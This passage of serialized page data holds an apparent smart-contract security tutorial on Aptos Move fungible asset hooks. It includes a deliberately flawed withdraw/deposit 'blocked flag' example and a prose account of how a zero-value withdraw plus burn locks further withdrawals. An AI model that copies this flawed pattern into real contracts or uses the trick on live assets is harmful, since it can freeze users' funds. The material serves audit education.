fa);\n}\n",[67593],{"type":23,"tag":71,"props":67594,"children":67595},{"__ignoreMap":7},[67596,67632,67659,67678,67702,67721,67729,67775,67782,67789,67825,67852,67872,67895,67902,67909,67953],{"type":23,"tag":230,"props":67597,"children":67598},{"class":232,"line":233},[67599,67603,67607,67612,67616,67620,67624,67628],{"type":23,"tag":230,"props":67600,"children":67601},{"style":262},[67602],{"type":29,"value":63450},{"type":23,"tag":230,"props":67604,"children":67605},{"style":262},[67606],{"type":29,"value":8544},{"type":23,"tag":230,"props":67608,"children":67609},{"style":262},[67610],{"type":29,"value":67611}," withdraw_hook",{"type":23,"tag":230,"props":67613,"children":67614},{"style":274},[67615],{"type":29,"value":8143},{"type":23,"tag":230,"props":67617,"children":67618},{"style":676},[67619],{"type":29,"value":8324},{"type":23,"tag":230,"props":67621,"children":67622},{"style":268},[67623],{"type":29,"value":218},{"type":23,"tag":230,"props":67625,"children":67626},{"style":262},[67627],{"type":29,"value":8268},{"type":23,"tag":230,"props":67629,"children":67630},{"style":274},[67631],{"type":29,"value":8925},{"type":23,"tag":230,"props":67633,"children":67634},{"class":232,"line":243},[67635,67639,67643,67647,67651,67655],{"type":23,"tag":230,"props":67636,"children":67637},{"style":262},[67638],{"type":29,"value":31721},{"type":23,"tag":230,"props":67640,"children":67641},{"style":268},[67642],{"type":29,"value":218},{"type":23,"tag":230,"props":67644,"children":67645},{"style":676},[67646],{"type":29,"value":63336},{"type":23,"tag":230,"props":67648,"children":67649},{"style":274},[67650],{"type":29,"value":8143},{"type":23,"tag":230,"props":67652,"children":67653},{"style":676},[67654],{"type":29,"value":8324},{"type":23,"tag":230,"props":67656,"children":67657},{"style":274},[67658],{"type":29,"value":8475},{"type":23,"tag":230,"props":67660,"children":67661},{"class":232,"line":252},[67662,67666,67670,67674],{"type":23,"tag":230,"props":67663,"children":67664},{"style":262},[67665],{"type":29,"value":63357},{"type":23,"tag":230,"props":67667,"children":67668},{"style":268},[67669],{"type":29,"value":218},{"type":23,"tag":230,"props":67671,"children":67672},{"style":676},[67673],{"type":29,"value":8197},{"type":23,"tag":230,"props":67675,"children":67676},{"style":274},[67677],{"type":29,"value":388},{"type":23,"tag":230,"props":67679,"children":67680},{"class":232,"line":280},[67681,67686,67690,67694,67698],{"type":23,"tag":230,"props":67682,"children":67683},{"style":262},[67684],{"type":29,"value":67685},"    transfer_ref",{"type":23,"tag":230,"props":67687,"children":67688},{"style":268},[67689],{"type":29,"value":218},{"type":23,"tag":230,"props":67691,"children":67692},{"style":268},[67693],{"type":29,"value":9477},{"type":23,"tag":230,"props":67695,"children":67696},{"style":676},[67697],{"type":29,"value":67200},{"type":23,"tag":230,"props":67699,"children":67700},{"style":274},[67701],{"type":29,"value":388},{"type":23,"tag":230,"props":67703,"children":67704},{"class":232,"line":334},[67705,67709,67713,67717],{"type":23,"tag":230,"props":67706,"children":67707},{"style":274},[67708],{"type":29,"value":5467},{"type":23,"tag":230,"props":67710,"children":67711},{"style":268},[67712],{"type":29,"value":218},{"type":23,"tag":230,"props":67714,"children":67715},{"style":676},[67716],{"type":29,"value":63315},{"type":23,"tag":230,"props":67718,"children":67719},{"style":274},[67720],{"type":29,"value":277},{"type":23,"tag":230,"props":67722,"children":67723},{"class":232,"line":371},[67724],{"type":23,"tag":230,"props":67725,"children":67726},{"style":237},[67727],{"type":29,"value":67728},"    //check paused, gather fees etc.\n",{"type":23,"tag":230,"props":67730,"children":67731},{"class":232,"line":391},[67732,67737,67741,67746,67750,67755,67759,67763,67767,67771],{"type":23,"tag":230,"props":67733,"children":67734},{"style":274},[67735],{"type":29,"value":67736},"    fungible_asset",{"type":23,"tag":230,"props":67738,"children":67739},{"style":268},[67740],{"type":29,"value":5818},{"type":23,"tag":230,"props":67742,"children":67743},{"style":294},[67744],{"type":29,"value":67745},"withdraw_with_ref",{"type":23,"tag":230,"props":67747,"children":67748},{"style":274},[67749],{"type":29,"value":302},{"type":23,"tag":230,"props":67751,"children":67752},{"style":262},[67753],{"type":29,"value":67754},"transfer_ref",{"type":23,"tag":230,"props":67756,"children":67757},{"style":274},[67758],{"type":29,"value":684},{"type":23,"tag":230,"props":67760,"children":67761},{"style":262},[67762],{"type":29,"value":8277},{"type":23,"tag":230,"props":67764,"children":67765},{"style":274},[67766],{"type":29,"value":684},{"type":23,"tag":230,"props":67768,"children":67769},{"style":262},[67770],{"type":29,"value":22621},{"type":23,"tag":230,"props":67772,"children":67773},{"style":274},[67774],{"type":29,"value":4516},{"type":23,"tag":230,"props":67776,"children":67777},{"class":232,"line":400},[67778],{"type":23,"tag":230,"props":67779,"children":67780},{"style":274},[67781],{"type":29,"value":975},{"type":23,"tag":230,"props":67783,"children":67784},{"class":232,"line":444},[67785],{"type":23,"tag":230,"props":67786,"children":67787},{"emptyLinePlaceholder":18},[67788],{"type":29,"value":459},{"type":23,"tag":230,"props":67790,"children":67791},{"class":232,"line":453},[67792,67796,67800,67805,67809,67813,67817,67821],{"type":23,"tag":230,"props":67793,"children":67794},{"style":262},[67795],{"type":29,"value":63450},{"type":23,"tag":230,"props":67797,"children":67798},{"style":262},[67799],{"type":29,"value":8544},{"type":23,"tag":230,"props":67801,"children":67802},{"style":262},[67803],{"type":29,"value":67804}," deposit_hook",{"type":23,"tag":230,"props":67806,"children":67807},{"style":274},[67808],{"type":29,"value":8143},{"type":23,"tag":230,"props":67810,"children":67811},{"style":676},[67812],{"type":29,"value":8324},{"type":23,"tag":230,"props":67814,"children":67815},{"style":268},[67816],{"type":29,"value":218},{"type":23,"tag":230,"props":67818,"children":67819},{"style":262},[67820],{"type":29,"value":8268},{"type":23,"tag":230,"props":67822,"children":67823},{"style":274},[67824],{"type":29,"value":8925},{"type":23,"tag":230,"props":67826,"children":67827},{"class":232,"line":462},[67828,67832,67836,67840,67844,67848],{"type":23,"tag":230,"props":67829,"children":67830},{"style":262},[67831],{"type":29,"value":31721},{"type":23,"tag":230,"props":67833,"children":67834},{"style":268},[67835],{"type":29,"value":218},{"type":23,"tag":230,"props":67837,"children":67838},{"style":676},[67839],{"type":29,"value":63336},{"type":23,"tag":230,"props":67841,"children":67842},{"style":274},[67843],{"type":29,"value":8143},{"type":23,"tag":230,"props":67845,"children":67846},{"style":676},[67847],{"type":29,"value":8324},{"type":23,"tag":230,"props":67849,"children":67850},{"style":274},[67851],{"type":29,"value":8475},{"type":23,"tag":230,"props":67853,"children":67854},{"class":232,"line":471},[67855,67860,67864,67868],{"type":23,"tag":230,"props":67856,"children":67857},{"style":262},[67858],{"type":29,"value":67859},"    fa",{"type":23,"tag":230,"props":67861,"children":67862},{"style":268},[67863],{"type":29,"value":218},{"type":23,"tag":230,"props":67865,"children":67866},{"style":676},[67867],{"type":29,"value":63315},{"type":23,"tag":230,"props":67869,"children":67870},{"style":274},[67871],{"type":29,"value":388},{"type":23,"tag":230,"props":67873,"children":67874},{"class":232,"line":500},[67875,67879,67883,67887,67891],{"type":23,"tag":230,"props":67876,"children":67877},{"style":262},[67878],{"type":29,"value":67685},{"type":23,"tag":230,"props":67880,"children":67881},{"style":268},[67882],{"type":29,"value":218},{"type":23,"tag":230,"props":67884,"children":67885},{"style":268},[67886],{"type":29,"value":9477},{"type":23,"tag":230,"props":67888,"children":67889},{"style":676},[67890],{"type":29,"value":67200},{"type":23,"tag":230,"props":67892,"children":67893},{"style":274},[67894],{"type":29,"value":388},{"type":23,"tag":230,"props":67896,"children":67897},{"class":232,"line":514},[67898],{"type":23,"tag":230,"props":67899,"children":67900},{"style":274},[67901],{"type":29,"value":827},{"type":23,"tag":230,"props":67903,"children":67904},{"class":232,"line":897},[67905],{"type":23,"tag":230,"props":67906,"children":67907},{"style":237},[67908],{"type":29,"value":67728},{"type":23,"tag":230,"props":67910,"children":67911},{"class":232,"line":960},[67912,67916,67920,67925,67929,67933,67937,67941,67945,67949],{"type":23,"tag":230,"props":67913,"children":67914},{"style":274},[67915],{"type":29,"value":67736},{"type":23,"tag":230,"props":67917,"children":67918},{"style":268},[67919],{"type":29,"value":5818},{"type":23,"tag":230,"props":67921,"children":67922},{"style":294},[67923],{"type":29,"value":67924},"deposit_with_ref",{"type":23,"tag":230,"props":67926,"children":67927},{"style":274},[67928],{"type":29,"value":302},{"type":23,"tag":230,"props":67930,"children":67931},{"style":262},[67932],{"type":29,"value":67754},{"type":23,"tag":230,"props":67934,"children":67935},{"style":274},[67936],{"type":29,"value":684},{"type":23,"tag":230,"props":67938,"children":67939},{"style":262},[67940],{"type":29,"value":8277},{"type":23,"tag":230,"props":67942,"children":67943},{"style":274},[67944],{"type":29,"value":684},{"type":23,"tag":230,"props":67946,"children":67947},{"style":262},[67948],{"type":29,"value":63508},{"type":23,"tag":230,"props":67950,"children":67951},{"style":274},[67952],{"type":29,"value":753},{"type":23,"tag":230,"props":67954,"children":67955},{"class":232,"line":969},[67956],{"type":23,"tag":230,"props":67957,"children":67958},{"style":274},[67959],{"type":29,"value":975},{"type":23,"tag":67961,"props":67962,"children":67963},"question",{},[67964,67991],{"type":23,"tag":32,"props":67965,"children":67966},{},[67967,67969,67975,67977,67983,67984,67990],{"type":29,"value":67968},"Why hook functions rely on ",{"type":23,"tag":71,"props":67970,"children":67972},{"className":67971},[],[67973],{"type":29,"value":67974},"*_with_ref",{"type":29,"value":67976}," calls? What would happen if the hook function called ",{"type":23,"tag":71,"props":67978,"children":67980},{"className":67979},[],[67981],{"type":29,"value":67982},"dispatchable_fungible_asset::withdraw",{"type":29,"value":19115},{"type":23,"tag":71,"props":67985,"children":67987},{"className":67986},[],[67988],{"type":29,"value":67989},"fungible_asset::withdraw_with_ref",{"type":29,"value":5494},{"type":23,"tag":67992,"props":67993,"children":67994},"template",{"v-slot:answer-0":7},[67995,68007],{"type":23,"tag":32,"props":67996,"children":67997},{},[67998,68000,68005],{"type":29,"value":67999},"A1: Hook functions rely on ",{"type":23,"tag":71,"props":68001,"children":68003},{"className":68002},[],[68004],{"type":29,"value":67974},{"type":29,"value":68006}," calls because the default fungible asset functions verify if the fungible asset is not dispatchable.",{"type":23,"tag":32,"props":68008,"children":68009},{},[68010,68012,68017],{"type":29,"value":68011},"A2: A ",{"type":23,"tag":71,"props":68013,"children":68015},{"className":68014},[],[68016],{"type":29,"value":67982},{"type":29,"value":68018}," would result in RUNTIME_DISPATCH_ERROR (code 4037) error with error message: \"Re-entrancy detected\".",{"type":23,"tag":32,"props":68020,"children":68021},{},[68022],{"type":29,"value":68023},"In one of our reviews, we encountered a dispatchable fungible asset where the hooked withdrawal set a \"blocked\" flag, which was cleared by the corresponding deposit. This design was used to ensure that each withdrawal was tied to a deposit, effectively preventing simultaneous withdrawals.",{"type":23,"tag":220,"props":68025,"children":68027},{"className":5320,"code":68026,"language":5319,"meta":7,"style":7},"public fun deposit\u003CT: key>(store: Object\u003CT>, fa: FungibleAsset, transfer_ref: &TransferRef) {\n    assert_withdraw_flag(true);\n    [...]\n    set_withdraw_flag(false);\n    fungible_asset::deposit_with_ref(transfer_ref, store, amount);\n    [...]\n    }\n\npublic fun withdraw\u003CT: key>(store: Object\u003CT>, amount: u64, transfer_ref: &TransferRef): FungibleAsset acquires [...] {\n    assert_withdraw_flag(false);\n    [...]\n    set_withdraw_flag(true);\n    fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n",[68028],{"type":23,"tag":71,"props":68029,"children":68030},{"__ignoreMap":7},[68031,68126,68146,68161,68181,68224,68239,68246,68253,68372,68391,68406,68425,68468],{"type":23,"tag":230,"props":68032,"children":68033},{"class":232,"line":233},[68034,68038,68042,68046,68050,68054,68058,68062,68066,68070,68074,68078,68082,68086,68090,68094,68098,68102,68106,68110,68114,68118,68122],{"type":23,"tag":230,"props":68035,"children":68036},{"style":262},[68037],{"type":29,"value":63450},{"type":23,"tag":230,"props":68039,"children":68040},{"style":262},[68041],{"type":29,"value":8544},{"type":23,"tag":230,"props":68043,"children":68044},{"style":262},[68045],{"type":29,"value":63459},{"type":23,"tag":230,"props":68047,"children":68048},{"style":274},[68049],{"type":29,"value":8143},{"type":23,"tag":230,"props":68051,"children":68052},{"style":676},[68053],{"type":29,"value":8324},{"type":23,"tag":230,"props":68055,"children":68056},{"style":268},[68057],{"type":29,"value":218},{"type":23,"tag":230,"props":68059,"children":68060},{"style":262},[68061],{"type":29,"value":8268},{"type":23,"tag":230,"props":68063,"children":68064},{"style":274},[68065],{"type":29,"value":9947},{"type":23,"tag":230,"props":68067,"children":68068},{"style":262},[68069],{"type":29,"value":8277},{"type":23,"tag":230,"props":68071,"children":68072},{"style":268},[68073],{"type":29,"value":218},{"type":23,"tag":230,"props":68075,"children":68076},{"style":676},[68077],{"type":29,"value":63336},{"type":23,"tag":230,"props":68079,"children":68080},{"style":274},[68081],{"type":29,"value":8143},{"type":23,"tag":230,"props":68083,"children":68084},{"style":676},[68085],{"type":29,"value":8324},{"type":23,"tag":230,"props":68087,"children":68088},{"style":274},[68089],{"type":29,"value":8967},{"type":23,"tag":230,"props":68091,"children":68092},{"style":262},[68093],{"type":29,"value":63508},{"type":23,"tag":230,"props":68095,"children":68096},{"style":268},[68097],{"type":29,"value":218},{"type":23,"tag":230,"props":68099,"children":68100},{"style":676},[68101],{"type":29,"value":63315},{"type":23,"tag":230,"props":68103,"children":68104},{"style":274},[68105],{"type":29,"value":684},{"type":23,"tag":230,"props":68107,"children":68108},{"style":262},[68109],{"type":29,"value":67754},{"type":23,"tag":230,"props":68111,"children":68112},{"style":268},[68113],{"type":29,"value":218},{"type":23,"tag":230,"props":68115,"children":68116},{"style":268},[68117],{"type":29,"value":9477},{"type":23,"tag":230,"props":68119,"children":68120},{"style":676},[68121],{"type":29,"value":67200},{"type":23,"tag":230,"props":68123,"children":68124},{"style":274},[68125],{"type":29,"value":827},{"type":23,"tag":230,"props":68127,"children":68128},{"class":232,"line":243},[68129,68134,68138,68142],{"type":23,"tag":230,"props":68130,"children":68131},{"style":294},[68132],{"type":29,"value":68133},"    assert_withdraw_flag",{"type":23,"tag":230,"props":68135,"children":68136},{"style":274},[68137],{"type":29,"value":302},{"type":23,"tag":230,"props":68139,"children":68140},{"style":256},[68141],{"type":29,"value":1726},{"type":23,"tag":230,"props":68143,"children":68144},{"style":274},[68145],{"type":29,"value":753},{"type":23,"tag":230,"props":68147,"children":68148},{"class":232,"line":252},[68149,68153,68157],{"type":23,"tag":230,"props":68150,"children":68151},{"style":274},[68152],{"type":29,"value":64493},{"type":23,"tag":230,"props":68154,"children":68155},{"style":268},[68156],{"type":29,"value":11922},{"type":23,"tag":230,"props":68158,"children":68159},{"style":274},[68160],{"type":29,"value":14103},{"type":23,"tag":230,"props":68162,"children":68163},{"class":232,"line":280},[68164,68169,68173,68177],{"type":23,"tag":230,"props":68165,"children":68166},{"style":294},[68167],{"type":29,"value":68168},"    set_withdraw_flag",{"type":23,"tag":230,"props":68170,"children":68171},{"style":274},[68172],{"type":29,"value":302},{"type":23,"tag":230,"props":68174,"children":68175},{"style":256},[68176],{"type":29,"value":10510},{"type":23,"tag":230,"props":68178,"children":68179},{"style":274},[68180],{"type":29,"value":753},{"type":23,"tag":230,"props":68182,"children":68183},{"class":232,"line":334},[68184,68188,68192,68196,68200,68204,68208,68212,68216,68220],{"type":23,"tag":230,"props":68185,"children":68186},{"style":274},[68187],{"type":29,"value":67736},{"type":23,"tag":230,"props":68189,"children":68190},{"style":268},[68191],{"type":29,"value":5818},{"type":23,"tag":230,"props":68193,"children":68194},{"style":294},[68195],{"type":29,"value":67924},{"type":23,"tag":230,"props":68197,"children":68198},{"style":274},[68199],{"type":29,"value":302},{"type":23,"tag":230,"props":68201,"children":68202},{"style":262},[68203],{"type":29,"value":67754},{"type":23,"tag":230,"props":68205,"children":68206},{"style":274},[68207],{"type":29,"value":684},{"type":23,"tag":230,"props":68209,"children":68210},{"style":262},[68211],{"type":29,"value":8277},{"type":23,"tag":230,"props":68213,"children":68214},{"style":274},[68215],{"type":29,"value":684},{"type":23,"tag":230,"props":68217,"children":68218},{"style":262},[68219],{"type":29,"value":22621},{"type":23,"tag":230,"props":68221,"children":68222},{"style":274},[68223],{"type":29,"value":753},{"type":23,"tag":230,"props":68225,"children":68226},{"class":232,"line":371},[68227,68231,68235],{"type":23,"tag":230,"props":68228,"children":68229},{"style":274},[68230],{"type":29,"value":64493},{"type":23,"tag":230,"props":68232,"children":68233},{"style":268},[68234],{"type":29,"value":11922},{"type":23,"tag":230,"props":68236,"children":68237},{"style":274},[68238],{"type":29,"value":14103},{"type":23,"tag":230,"props":68240,"children":68241},{"class":232,"line":391},[68242],{"type":23,"tag":230,"props":68243,"children":68244},{"style":274},[68245],{"type":29,"value":1552},{"type":23,"tag":230,"props":68247,"children":68248},{"class":232,"line":400},[68249],{"type":23,"tag":230,"props":68250,"children":68251},{"emptyLinePlaceholder":18},[68252],{"type":29,"value":459},{"type":23,"tag":230,"props":68254,"children":68255},{"class":232,"line":444},[68256,68260,68264,68268,68272,68276,68280,68284,68288,68292,68296,68300,68304,68308,68312,68316,68320,68324,68328,68332,68336,68340,68344,68348,68352,68356,68360,68364,68368],{"type":23,"tag":230,"props":68257,"children":68258},{"style":262},[68259],{"type":29,"value":63450},{"type":23,"tag":230,"props":68261,"children":68262},{"style":262},[68263],{"type":29,"value":8544},{"type":23,"tag":230,"props":68265,"children":68266},{"style":262},[68267],{"type":29,"value":22586},{"type":23,"tag":230,"props":68269,"children":68270},{"style":274},[68271],{"type":29,"value":8143},{"type":23,"tag":230,"props":68273,"children":68274},{"style":676},[68275],{"type":29,"value":8324},{"type":23,"tag":230,"props":68277,"children":68278},{"style":268},[68279],{"type":29,"value":218},{"type":23,"tag":230,"props":68281,"children":68282},{"style":262},[68283],{"type":29,"value":8268},{"type":23,"tag":230,"props":68285,"children":68286},{"style":274},[68287],{"type":29,"value":9947},{"type":23,"tag":230,"props":68289,"children":68290},{"style":262},[68291],{"type":29,"value":8277},{"type":23,"tag":230,"props":68293,"children":68294},{"style":268},[68295],{"type":29,"value":218},{"type":23,"tag":230,"props":68297,"children":68298},{"style":676},[68299],{"type":29,"value":63336},{"type":23,"tag":230,"props":68301,"children":68302},{"style":274},[68303],{"type":29,"value":8143},{"type":23,"tag":230,"props":68305,"children":68306},{"style":676},[68307],{"type":29,"value":8324},{"type":23,"tag":230,"props":68309,"children":68310},{"style":274},[68311],{"type":29,"value":8967},{"type":23,"tag":230,"props":68313,"children":68314},{"style":262},[68315],{"type":29,"value":22621},{"type":23,"tag":230,"props":68317,"children":68318},{"style":268},[68319],{"type":29,"value":218},{"type":23,"tag":230,"props":68321,"children":68322},{"style":676},[68323],{"type":29,"value":8197},{"type":23,"tag":230,"props":68325,"children":68326},{"style":274},[68327],{"type":29,"value":684},{"type":23,"tag":230,"props":68329,"children":68330},{"style":262},[68331],{"type":29,"value":67754},{"type":23,"tag":230,"props":68333,"children":68334},{"style":268},[68335],{"type":29,"value":218},{"type":23,"tag":230,"props":68337,"children":68338},{"style":268},[68339],{"type":29,"value":9477},{"type":23,"tag":230,"props":68341,"children":68342},{"style":676},[68343],{"type":29,"value":67200},{"type":23,"tag":230,"props":68345,"children":68346},{"style":274},[68347],{"type":29,"value":5467},{"type":23,"tag":230,"props":68349,"children":68350},{"style":268},[68351],{"type":29,"value":218},{"type":23,"tag":230,"props":68353,"children":68354},{"style":676},[68355],{"type":29,"value":63315},{"type":23,"tag":230,"props":68357,"children":68358},{"style":262},[68359],{"type":29,"value":9903},{"type":23,"tag":230,"props":68361,"children":68362},{"style":274},[68363],{"type":29,"value":25347},{"type":23,"tag":230,"props":68365,"children":68366},{"style":268},[68367],{"type":29,"value":11922},{"type":23,"tag":230,"props":68369,"children":68370},{"style":274},[68371],{"type":29,"value":63541},{"type":23,"tag":230,"props":68373,"children":68374},{"class":232,"line":453},[68375,68379,68383,68387],{"type":23,"tag":230,"props":68376,"children":68377},{"style":294},[68378],{"type":29,"value":68133},{"type":23,"tag":230,"props":68380,"children":68381},{"style":274},[68382],{"type":29,"value":302},{"type":23,"tag":230,"props":68384,"children":68385},{"style":256},[68386],{"type":29,"value":10510},{"type":23,"tag":230,"props":68388,"children":68389},{"style":274},[68390],{"type":29,"value":753},{"type":23,"tag":230,"props":68392,"children":68393},{"class":232,"line":462},[68394,68398,68402],{"type":23,"tag":230,"props":68395,"children":68396},{"style":274},[68397],{"type":29,"value":64493},{"type":23,"tag":230,"props":68399,"children":68400},{"style":268},[68401],{"type":29,"value":11922},{"type":23,"tag":230,"props":68403,"children":68404},{"style":274},[68405],{"type":29,"value":14103},{"type":23,"tag":230,"props":68407,"children":68408},{"class":232,"line":471},[68409,68413,68417,68421],{"type":23,"tag":230,"props":68410,"children":68411},{"style":294},[68412],{"type":29,"value":68168},{"type":23,"tag":230,"props":68414,"children":68415},{"style":274},[68416],{"type":29,"value":302},{"type":23,"tag":230,"props":68418,"children":68419},{"style":256},[68420],{"type":29,"value":1726},{"type":23,"tag":230,"props":68422,"children":68423},{"style":274},[68424],{"type":29,"value":753},{"type":23,"tag":230,"props":68426,"children":68427},{"class":232,"line":500},[68428,68432,68436,68440,68444,68448,68452,68456,68460,68464],{"type":23,"tag":230,"props":68429,"children":68430},{"style":274},[68431],{"type":29,"value":67736},{"type":23,"tag":230,"props":68433,"children":68434},{"style":268},[68435],{"type":29,"value":5818},{"type":23,"tag":230,"props":68437,"children":68438},{"style":294},[68439],{"type":29,"value":67745},{"type":23,"tag":230,"props":68441,"children":68442},{"style":274},[68443],{"type":29,"value":302},{"type":23,"tag":230,"props":68445,"children":68446},{"style":262},[68447],{"type":29,"value":67754},{"type":23,"tag":230,"props":68449,"children":68450},{"style":274},[68451],{"type":29,"value":684},{"type":23,"tag":230,"props":68453,"children":68454},{"style":262},[68455],{"type":29,"value":8277},{"type":23,"tag":230,"props":68457,"children":68458},{"style":274},[68459],{"type":29,"value":684},{"type":23,"tag":230,"props":68461,"children":68462},{"style":262},[68463],{"type":29,"value":22621},{"type":23,"tag":230,"props":68465,"children":68466},{"style":274},[68467],{"type":29,"value":4516},{"type":23,"tag":230,"props":68469,"children":68470},{"class":232,"line":514},[68471],{"type":23,"tag":230,"props":68472,"children":68473},{"style":274},[68474],{"type":29,"value":975},{"type":23,"tag":32,"props":68476,"children":68477},{},[68478],{"type":29,"value":68479},"At first glance, this code appears valid, but not to an astute reader.",{"type":23,"tag":67961,"props":68481,"children":68482},{},[68483,68488],{"type":23,"tag":32,"props":68484,"children":68485},{},[68486],{"type":29,"value":68487},"Can you spot the bug? Hint: We mentioned the root cause previously.",{"type":23,"tag":67992,"props":68489,"children":68490},{"v-slot:answer-0":7},[68491,68511],{"type":23,"tag":32,"props":68492,"children":68493},{},[68494,68496,68501,68503,68509],{"type":29,"value":68495},"The developer overlooked an important detail, which we already mentioned earlier: a fungible asset with a value of zero can also be burned! An attacker could exploit this by withdrawing 0 ",{"type":23,"tag":71,"props":68497,"children":68499},{"className":68498},[],[68500],{"type":29,"value":63286},{"type":29,"value":68502}," (since withdraw doesn’t verify if the value is greater than 0) and then burning it using ",{"type":23,"tag":71,"props":68504,"children":68506},{"className":68505},[],[68507],{"type":29,"value":68508},"fungible_asset::destroy_zero",{"type":29,"value":68510},". This would complete the transaction while keeping the \"blocked\" flag set, effectively preventing further withdrawals.",{"type":23,"tag":32,"props":68512,"children":68513},{},[68514],{"type":29,"value":68515},"It's important to understand all the features in the standard.",{"type":23,"tag":24,"props":68517,"children":68519},{"id":68518},"migrating-from-coins-to-fungible-assets",[68520],{"type":29,"value":68521},"Migrating from coins to fungible assets",{"type":23,"tag":32,"props":68523,"children":68524},{},[68525,68527,68532],{"type":29,"value":68526},"If a fungible asset is considered an upgrade to ",{"type":23,"tag":71,"props":68528,"children":68530},{"className":68529},[],[68531],{"type":29,"value":62741},{"type":29,"value":68533},", a transition mechanism becomes necessary. This is addressed through a conversion map, establishing a relationship between specific coin and fungible asset. This duality is not without its challenges.",{"type":23,"tag":68535,"props":68536,"children":68537},"note",{},[68538],{"type":23,"tag":32,"props":68539,"children":68540},{},[68541,68543,68548,68550,68555],{"type":29,"value":68542},"While the ",{"type":23,"tag":71,"props":68544,"children":68546},{"className":68545},[],[68547],{"type":29,"value":62741},{"type":29,"value":68549}," API recognizes and integrates with fungible assets, the fungible asset APIs do not have awareness of the linked ",{"type":23,"tag":71,"props":68551,"children":68553},{"className":68552},[],[68554],{"type":29,"value":62741},{"type":29,"value":312},{"type":23,"tag":32,"props":68557,"children":68558},{},[68559,68560,68566,68568,68573,68575,68580],{"type":29,"value":980},{"type":23,"tag":71,"props":68561,"children":68563},{"className":68562},[],[68564],{"type":29,"value":68565},"coin_to_fungible_asset",{"type":29,"value":68567}," converting function automatically generates a corresponding fungible asset for a ",{"type":23,"tag":71,"props":68569,"children":68571},{"className":68570},[],[68572],{"type":29,"value":62741},{"type":29,"value":68574}," if one does not already exist. Manual creation of a fungible asset and its linkage to a ",{"type":23,"tag":71,"props":68576,"children":68578},{"className":68577},[],[68579],{"type":29,"value":62741},{"type":29,"value":68581}," is not allowed.",{"type":23,"tag":220,"props":68583,"children":68585},{"className":5320,"code":68584,"language":5319,"meta":7,"style":7},"public fun coin_to_fungible_asset\u003CCoinType>(\n    coin: Coin\u003CCoinType>\n): FungibleAsset acquires CoinConversionMap, CoinInfo {\n    let metadata = ensure_paired_metadata\u003CCoinType>();\n    let amount = burn_internal(coin);\n    fungible_asset::mint_internal(metadata, amount)\n}\n",[68586],{"type":23,"tag":71,"props":68587,"children":68588},{"__ignoreMap":7},[68589,68617,68644,68680,68713,68746,68782],{"type":23,"tag":230,"props":68590,"children":68591},{"class":232,"line":233},[68592,68596,68600,68605,68609,68613],{"type":23,"tag":230,"props":68593,"children":68594},{"style":262},[68595],{"type":29,"value":63450},{"type":23,"tag":230,"props":68597,"children":68598},{"style":262},[68599],{"type":29,"value":8544},{"type":23,"tag":230,"props":68601,"children":68602},{"style":262},[68603],{"type":29,"value":68604}," coin_to_fungible_asset",{"type":23,"tag":230,"props":68606,"children":68607},{"style":274},[68608],{"type":29,"value":8143},{"type":23,"tag":230,"props":68610,"children":68611},{"style":676},[68612],{"type":29,"value":8920},{"type":23,"tag":230,"props":68614,"children":68615},{"style":274},[68616],{"type":29,"value":8925},{"type":23,"tag":230,"props":68618,"children":68619},{"class":232,"line":243},[68620,68624,68628,68632,68636,68640],{"type":23,"tag":230,"props":68621,"children":68622},{"style":262},[68623],{"type":29,"value":62960},{"type":23,"tag":230,"props":68625,"children":68626},{"style":268},[68627],{"type":29,"value":218},{"type":23,"tag":230,"props":68629,"children":68630},{"style":676},[68631],{"type":29,"value":8138},{"type":23,"tag":230,"props":68633,"children":68634},{"style":274},[68635],{"type":29,"value":8143},{"type":23,"tag":230,"props":68637,"children":68638},{"style":676},[68639],{"type":29,"value":8920},{"type":23,"tag":230,"props":68641,"children":68642},{"style":274},[68643],{"type":29,"value":8329},{"type":23,"tag":230,"props":68645,"children":68646},{"class":232,"line":252},[68647,68651,68655,68659,68663,68668,68672,68676],{"type":23,"tag":230,"props":68648,"children":68649},{"style":274},[68650],{"type":29,"value":5467},{"type":23,"tag":230,"props":68652,"children":68653},{"style":268},[68654],{"type":29,"value":218},{"type":23,"tag":230,"props":68656,"children":68657},{"style":676},[68658],{"type":29,"value":63315},{"type":23,"tag":230,"props":68660,"children":68661},{"style":262},[68662],{"type":29,"value":9903},{"type":23,"tag":230,"props":68664,"children":68665},{"style":676},[68666],{"type":29,"value":68667}," CoinConversionMap",{"type":23,"tag":230,"props":68669,"children":68670},{"style":274},[68671],{"type":29,"value":684},{"type":23,"tag":230,"props":68673,"children":68674},{"style":676},[68675],{"type":29,"value":9050},{"type":23,"tag":230,"props":68677,"children":68678},{"style":274},[68679],{"type":29,"value":277},{"type":23,"tag":230,"props":68681,"children":68682},{"class":232,"line":280},[68683,68687,68692,68696,68701,68705,68709],{"type":23,"tag":230,"props":68684,"children":68685},{"style":256},[68686],{"type":29,"value":5340},{"type":23,"tag":230,"props":68688,"children":68689},{"style":262},[68690],{"type":29,"value":68691}," metadata",{"type":23,"tag":230,"props":68693,"children":68694},{"style":268},[68695],{"type":29,"value":271},{"type":23,"tag":230,"props":68697,"children":68698},{"style":262},[68699],{"type":29,"value":68700}," ensure_paired_metadata",{"type":23,"tag":230,"props":68702,"children":68703},{"style":274},[68704],{"type":29,"value":8143},{"type":23,"tag":230,"props":68706,"children":68707},{"style":676},[68708],{"type":29,"value":8920},{"type":23,"tag":230,"props":68710,"children":68711},{"style":274},[68712],{"type":29,"value":10787},{"type":23,"tag":230,"props":68714,"children":68715},{"class":232,"line":334},[68716,68720,68725,68729,68734,68738,68742],{"type":23,"tag":230,"props":68717,"children":68718},{"style":256},[68719],{"type":29,"value":5340},{"type":23,"tag":230,"props":68721,"children":68722},{"style":262},[68723],{"type":29,"value":68724}," amount",{"type":23,"tag":230,"props":68726,"children":68727},{"style":268},[68728],{"type":29,"value":271},{"type":23,"tag":230,"props":68730,"children":68731},{"style":294},[68732],{"type":29,"value":68733}," 